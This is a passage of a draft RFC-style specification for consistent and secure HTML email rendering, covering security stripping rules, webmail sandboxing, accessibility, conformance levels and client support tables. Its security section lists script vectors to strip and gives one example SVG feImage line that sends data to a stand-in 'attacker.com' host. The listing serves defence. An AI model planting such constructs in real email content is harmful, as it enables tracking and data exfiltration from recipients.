MUAs MUST NOT execute any JavaScript associated with forms.
9.3. Button Styling
MUAs MUST support CSS styling on <a> elements to create
button-like appearances:
<a href="https://example.com" style="
display: inline-block;
padding: 12px 24px;
background-color: #0066cc;
color: #ffffff;
text-decoration: none;
border-radius: 4px;
font-weight: bold;
">Click Here</a>
All CSS properties listed in Section 4.1 that apply to inline and
inline-block elements MUST be supported on <a> elements.
10. Security Considerations
Email is a primary vector for phishing, malware distribution and
social engineering attacks. MUAs MUST implement robust security
measures while rendering HTML content.
10.1. Script Execution
MUAs MUST NOT execute JavaScript or any other scripting language
in email content.
10.1.1. Prohibited Elements
The following elements MUST be stripped or rendered inert:
<script>
<noscript> (SHOULD be displayed)
10.1.2. Prohibited Attributes
The following attributes MUST be stripped from all elements:
All on* event handlers: onclick, onload, onerror, onmouseover,
onfocus, onblur, onsubmit, etc.
10.1.3. JavaScript URLs
The following URL schemes MUST NOT be executable:
javascript:
vbscript:
data:text/html (when containing script)
MUAs MUST either:
a) Strip href/src attributes containing these schemes, OR
b) Replace them with safe values (e.g., href="#")
10.2. External Resource Loading
10.2.1. Default Blocking
MUAs SHOULD block external resource loading by default for:
<img src="https://...">
<link href="https://...">
<style>... url('https://...') ...</style>
Exception: MUAs MAY auto-load resources from domains explicitly
whitelisted by the user or organisation.
10.2.2. Always Allowed
MUAs MUST always render resources using:
data: URIs (subject to size limits)
cid: references
These do not involve external network requests.
10.2.3. User Consent
MUAs MUST provide a mechanism for users to load blocked external
resources on a per-email or per-sender basis.
10.3. CSS Expression Prevention
MUAs MUST NOT evaluate CSS expressions or behaviors:
expression() (IE proprietary)
behavior: (IE proprietary)
-moz-binding: (Firefox proprietary, deprecated)
url(javascript:)
MUAs MUST strip these constructs from stylesheets.
10.4. SVG Security
10.4.1. Script Stripping
Within SVG content, MUAs MUST strip:
<script> elements
on* event handler attributes
href attributes pointing to javascript:
10.4.2. External Reference Blocking
SVG external references MUST NOT be resolved:
xlink:href="external.svg"
href="external.svg"
Exception: Internal fragment references ARE permitted:
href="#internal-id"
10.4.3. Data Exfiltration Prevention
SVG filters that could be used for data exfiltration MUST be
stripped:
<feImage xlink:href="https://attacker.com/?data=...">
10.5. Tracking Prevention
10.5.1. Pixel Tracking
Remote images are commonly used as tracking pixels. MUAs SHOULD:
o Block remote images by default
o Provide clear UI indication when images are blocked
o Allow users to load images per-email or per-sender
10.5.2. Link Tracking
Many emails use redirect URLs for click tracking. MUAs SHOULD:
o Display the final destination URL on hover/long-press
o Warn users when the displayed URL differs from the link target
10.5.3. Inline Content as Alternative
The mandatory support for base64 inline images (Section 6.1) and
CID images (Section 6.2) provides senders with tracking-free
alternatives for embedding images.
10.6. Content Security Policy
10.6.1. Implied CSP
MUAs rendering email in a web context SHOULD apply an implied
Content Security Policy equivalent to:
default-src 'none';
img-src data: cid: https:;
style-src 'unsafe-inline';
font-src https:;
10.6.2. Script-src Requirement
MUAs MUST enforce:
script-src 'none';
No exceptions are permitted for script execution in email content.
10.7. Positioning Attack Prevention
In web-based MUAs, malicious use of CSS positioning could overlay
deceptive content atop the webmail UI.
10.7.1. Fixed Position Blocking
MUAs MUST NOT render position: fixed as specified. Such elements:
o MUST be rendered as position: static or position: relative
o MUST remain within the email content area
o MUST NOT overlay any part of the MUA interface
10.7.2. Absolute Position Containment
If position: absolute is permitted (native clients only), elements:
o MUST be positioned relative to a containing block within the
email content
o MUST NOT escape the email content boundaries
10.7.3. z-index Sandboxing
MUAs MUST ensure that email content z-index values cannot cause
elements to render above the MUA interface.
Implementation: Create a new stacking context for email content
that is positioned below all MUA UI elements.
11. Web-Based Client Requirements
Web-based MUAs (Gmail, Outlook.com, Yahoo Mail) face unique
challenges as email content shares the same rendering context as
the application UI.
11.1. Sandboxing
11.1.1. iframe Isolation
MUAs SHOULD render email content in an iframe with:
<iframe
sandbox="allow-same-origin"
srcdoc="[email content]"
referrerpolicy="no-referrer"
></iframe>
The sandbox attribute MUST NOT include:
allow-scripts
allow-forms
allow-popups
allow-top-navigation
11.1.2. Shadow DOM
As an alternative to iframes, MUAs MAY render email content in
a closed Shadow DOM:
const shadow = container.attachShadow({ mode: 'closed' });
shadow.innerHTML = emailContent;
This provides style isolation but not script isolation; script
stripping (Section 10.1) remains mandatory.
11.2. Containment
MUAs MUST apply CSS containment to the email content container:
.email-content {
contain: strict;
overflow: hidden;
}
This ensures that:
o Layout calculations are isolated
o Painted content is clipped to the container
o Stacking contexts are isolated
11.3. Stacking Context Isolation
11.3.1. Email Container Styling
The email content container MUST establish a new stacking context:
.email-content {
position: relative;
z-index: 0;
isolation: isolate;
}
11.3.2. UI Element Protection
MUA UI elements (toolbars, modals, dropdowns) MUST have z-index
values higher than any possible email content:
.mua-toolbar { z-index: 2147483647; }
.mua-modal { z-index: 2147483646; }
Because the email content is in an isolated stacking context,
email z-index values will not compete with these UI elements.
12. Accessibility
Email content MUST be accessible to users with disabilities.
MUAs MUST NOT strip or alter HTML that supports accessibility.
12.1. Semantic HTML
MUAs MUST correctly interpret and render semantic HTML elements:
<header>, <footer>, <nav>, <main>, <article>, <section>, <aside>
<h1> through <h6>
<p>, <ul>, <ol>, <li>, <dl>, <dt>, <dd>
<table>, <th>, <td> (with scope attributes)
<figure>, <figcaption>
<blockquote>, <cite>
<strong>, <em>
MUAs MUST NOT flatten semantic structure (e.g., converting all
elements to <div> or <span>).
12.2. Alternative Text
MUAs MUST:
o Display alt attribute text when images are not loaded
o Expose alt text to assistive technologies
o Support role and aria-* attributes
MUAs MUST NOT strip:
alt, title, role, aria-label, aria-labelledby, aria-describedby,
aria-hidden, aria-live, aria-atomic, aria-relevant
12.3. Colour Contrast
When MUAs apply automatic dark mode adaptation (Section 5.4), the
resulting colour combinations MUST maintain WCAG 2.1 AA contrast
ratios:
Normal text: 4.5:1
Large text: 3:1
UI components and graphics: 3:1
13. Conformance Levels
To facilitate gradual adoption, this specification defines three
conformance levels.
13.1. URES Level 1 (Baseline)
An MUA conforming to URES Level 1 MUST:
o Support all properties in Section 4.1
o Support inline base64 images (Section 6.1)
o Support CID images (Section 6.2)
o Strip all JavaScript (Section 10.1)
o Implement positioning constraints (Section 4.2)
o Support prefers-color-scheme media query (Section 5.2)
o Preserve semantic HTML (Section 12.1)
13.2. URES Level 2 (Enhanced)
An MUA conforming to URES Level 2 MUST:
o Meet all Level 1 requirements
o Support the Executive-Safe SVG Profile (Section 7)
o Support CSS Flexbox (Section 4.5.1)
o Implement dark mode adaptation rules (Section 5.4)
o Support <picture> element (Section 6.5.3)
o Support CSS custom properties (variables)
13.3. URES Level 3 (Full)
An MUA conforming to URES Level 3 MUST:
o Meet all Level 2 requirements
o Support CSS Grid (Section 4.5.2)
o Support @font-face (Section 8.1)
o Support CSS animations (with user preference for reduced motion)
o Implement full CSP (Section 10.6)
o Provide tracking prevention (Section 10.5)
14. Adoption Considerations
This section addresses practical considerations for adoption of this
specification by email client vendors.
14.1. Open Source Reference Implementations
The authors recognise that some email client vendors have
historically been reluctant to invest in standards-compliant
rendering engines, preferring instead to repurpose existing
technologies (such as word processing engines) that were never
designed for standards-compliant HTML/CSS rendering.
To address this, the community intends to develop and maintain
open source reference implementations of URES-compliant rendering
components. These implementations will be:
o Licensed under permissive terms (MIT, Apache 2.0, or similar)
o Designed for embedding in both native and web-based clients
o Maintained by the community with regular security updates
o Tested against the URES conformance test suite
Vendors who have historically chosen not to invest in standards-
compliant rendering may simply adopt these community-maintained
implementations when ready, rather than continuing to maintain
proprietary solutions that diverge from industry consensus.
14.2. Precedent for Community-Driven Adoption
This approach mirrors successful adoption patterns across the
software industry, where vendors have benefited from community-
developed standards and implementations rather than maintaining
proprietary alternatives:
o React (Meta): Now embedded across enterprise applications,
including those from vendors who initially resisted component-
based UI architectures.
o GraphQL (Meta): Adopted by major cloud platforms after community
momentum demonstrated clear benefits over proprietary query
languages.
o OpenTelemetry (CNCF): Observability standard now integrated
across all major cloud providers, replacing fragmented
proprietary instrumentation.
o Chromium (Google): The rendering engine now powers multiple
browsers from vendors who previously maintained independent
engines, including Microsoft Edge.
o VS Code / Monaco Editor (Microsoft): An acknowledgement that
community-driven tooling often surpasses proprietary alternatives.
Vendors currently maintaining non-compliant rendering engines face
an ongoing maintenance burden for technology that provides no
competitive advantage. The availability of URES-compliant open
source alternatives offers a path to reduced maintenance costs
while improving interoperability for their users.
14.3. Incremental Adoption Path
Vendors need not adopt all conformance levels simultaneously.
The three-tier conformance structure (Section 13) enables:
1. Level 1 adoption with minimal investment, addressing the most
critical rendering inconsistencies.
2. Level 2 adoption as community implementations mature, adding
modern layout and dark mode support.
3. Level 3 adoption for full feature parity with web browsers,
enabled by proven, stable open source components.
This graduated approach ensures that even conservative vendors
can adopt URES without significant risk, leveraging battle-tested
implementations developed and maintained by the broader community.
15. IANA Considerations
This document registers a new media feature for the
prefers-color-scheme-only media query:
Name: prefers-color-scheme-only
Values: light | dark
Applies to: visual media
Description: Indicates that the email author has requested no
automatic colour scheme adaptation.
This document requests registration of the following HTTP header
for use in email content negotiation:
Header field name: X-Email-Renderer-Level
Applicable protocol: HTTP (for web-based MUAs)
Status: Informational
Author/Change controller: IETF
Specification document(s): This document
Description: Indicates the URES conformance level of the
requesting email client.
Values: 1 | 2 | 3
Example: X-Email-Renderer-Level: 2
16. References
16.1. Normative References
[RFC2045] Freed, N. and N. Borenstein, "Multipurpose Internet Mail
Extensions (MIME) Part One: Format of Internet Message
Bodies", RFC 2045, November 1996.
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
Requirement Levels", BCP 14, RFC 2119, March 1997.
[RFC2392] Levinson, E., "Content-ID and Message-ID Uniform Resource
Locators", RFC 2392, August 1998.
[RFC5322] Resnick, P., Ed., "Internet Message Format", RFC 5322,
October 2008.
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC
2119 Key Words", BCP 14, RFC 8174, May 2017.
[HTML5] WHATWG, "HTML Living Standard",
<https://html.spec.whatwg.org/>.
[CSS-BOX-3]
Atkins Jr., T., "CSS Box Model Module Level 3", W3C
Candidate Recommendation, December 2020.
[CSS-FLEXBOX-1]
Atkins Jr., T., Etemad, E., Atanassov, R., "CSS Flexible
Box Layout Module Level 1", W3C Candidate Recommendation,
November 2018.
[CSS-GRID-1]
Atkins Jr., T., Etemad, E., Atanassov, R., "CSS Grid
Layout Module Level 1", W3C Candidate Recommendation,
December 2020.
16.2. Informative References
[WCAG21] W3C, "Web Content Accessibility Guidelines (WCAG) 2.1",
W3C Recommendation, June 2018.
[SVG11] W3C, "Scalable Vector Graphics (SVG) 1.1 (Second
Edition)", W3C Recommendation, August 2011.
[CANIEMAIL]
Community project, "Can I email... Support tables for
HTML and CSS in emails",
<https://www.caniemail.com/>.
Appendix A. Known Client Inconsistencies
This appendix documents specific inconsistencies in current email
clients that this RFC aims to address. Data sourced from caniemail
project [CANIEMAIL] and direct testing as of January 2026.
A.1. CSS Support Matrix (Selected Properties)
+------------------+-------+-------+-------+-------+-------+-------+
| Property | Gmail | O.com | O.app | Apple | Yahoo | T-bird|
+------------------+-------+-------+-------+-------+-------+-------+
| <style> in head | Partial| Yes | Yes | Yes | Yes | Yes |
| display: flex | Yes | Yes | No | Yes | Yes | Yes |
| display: grid | Yes | Yes | No | Yes | Yes | Yes |
| position: fixed | No | No | No | No | No | Yes |
| position: abs | No | No | Yes | Yes | No | Yes |
| background-image | Yes | Yes | No | Yes | Yes | Yes |
| border-radius | Yes | Yes | Partial| Yes | Yes | Yes |
| @media queries | No | Yes | Yes | Yes | Yes | Yes |
| CSS variables | Yes | Yes | No | Yes | Yes | Yes |
| @font-face | No | Yes | No | Yes | No | Yes |
| ::before/::after | No | Yes | No | Yes | Yes | Yes |
+------------------+-------+-------+-------+-------+-------+-------+
Legend: Gmail (web), O.com (Outlook.com), O.app (Outlook desktop),
Apple (Apple Mail), Yahoo (Yahoo Mail), T-bird (Thunderbird)
A.2. Image Handling
+------------------+-------+-------+-------+-------+-------+-------+
| Feature | Gmail | O.com | O.app | Apple | Yahoo | T-bird|
+------------------+-------+-------+-------+-------+-------+-------+
| Base64 PNG | Yes | Yes | Yes | Yes | Yes | Yes |
| Base64 size limit| 25KB | None | None | None | 10KB | None |
| CID images | Yes | Yes | Yes | Yes | Yes | Yes |
| SVG inline | No | No | No | Yes | No | Yes |
| SVG as img | No | No | No | Yes | No | Yes |
| WebP | Yes | Yes | Yes | Yes | Yes | Yes |
| <picture> | No | Partial| No | Yes | Partial| Yes |
+------------------+-------+-------+-------+-------+-------+-------+
A.3. Dark Mode Handling
+------------------+-------+-------+-------+-------+-------+-------+
| Feature | Gmail | O.com | O.app | Apple | Yahoo | T-bird|
+------------------+-------+-------+-------+-------+-------+-------+
| color-scheme meta| No | Yes | Yes | Yes | No | Yes |
| prefers-color- | No | Yes | Yes | Yes | No | Yes |
| scheme query | | | | | | |
| Auto-inversion | Partial| Yes | Yes | No | No | No |
| Respects author | N/A | Yes | Yes | Yes | N/A | Yes |
| dark styles | | | | | | |
+------------------+-------+-------+-------+-------+-------+-------+
Appendix B. Migration Guide
This appendix provides guidance for email developers transitioning
to URES-compliant templates.
B.1. Progressive Enhancement Strategy
1. Start with a table-based fallback layout for Outlook desktop
2. Add flexbox/grid layouts wrapped in @supports
3. Include both light and dark mode colour schemes
4. Use base64 or CID images for critical assets
5. Provide SVG with PNG fallback via <picture>
B.2. Dark Mode Template Pattern
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="color-scheme" content="light dark">
<meta name="supported-color-schemes" content="light dark">
<style>
:root {
--bg-primary: #ffffff;
--text-primary: #1a1a1a;
--accent: #0066cc;
}
@media (prefers-color-scheme: dark) {
:root {
--bg-primary: #1a1a1a;
--text-primary: #ffffff;
--accent: #66b3ff;
}
}
body {
background-color: var(--bg-primary);
color: var(--text-primary);
}
/* Fallback for clients without CSS variables */
body {
background-color: #ffffff;
color: #1a1a1a;
}
@media (prefers-color-scheme: dark) {
body {
background-color: #1a1a1a !important;
color: #ffffff !important;
}
}
</style>
</head>
<body>
<!-- Content -->
</body>
</html>
B.3. SVG with Fallback
<picture>
<source srcset="data:image/svg+xml;base64,..."
type="image/svg+xml">
<img src="data:image/png;base64,..."
alt="Logo" width="200" height="50">
</picture>
B.4. Inline Image Best Practice
For privacy-preserving emails, replace remote image references:
Before:
<img src="https://example.com/logo.png" alt="Logo">
After:
<img src="data:image/png;base64,iVBORw0KGgo..." alt="Logo">
Benefits:
- No external request / tracking pixel potential
- Renders immediately without "load images" prompt
- Works offline after email is downloaded
Appendix C. Test Suite
A reference test suite for URES conformance is available at:
https://github.com/ietf/ures-test-suite
The test suite includes:
C.1. CSS Property Tests
Individual tests for each CSS property in Section 4.1, verifying
correct rendering in isolation and in combination.
C.2. Dark Mode Tests
1. Color-scheme meta tag recognition
2. prefers-color-scheme media query activation
3. Author dark mode style application
4. Automatic inversion behaviour
5. Image handling in dark mode
C.3. Image Tests
1. Base64 image rendering (various sizes)
2. CID image resolution
3. SVG inline rendering
4. SVG via img element
5. Picture element source selection
C.4. Security Tests
1. Script element stripping
2. Event handler removal
3. JavaScript URL neutralisation
4. Positioning constraint enforcement
5. z-index sandboxing verification
C.5. Accessibility Tests
1. Semantic element preservation
2. Alt text exposure
3. ARIA attribute preservation
4. Colour contrast in dark modeHave thoughts on this proposal? We want to hear from you.
Send Feedback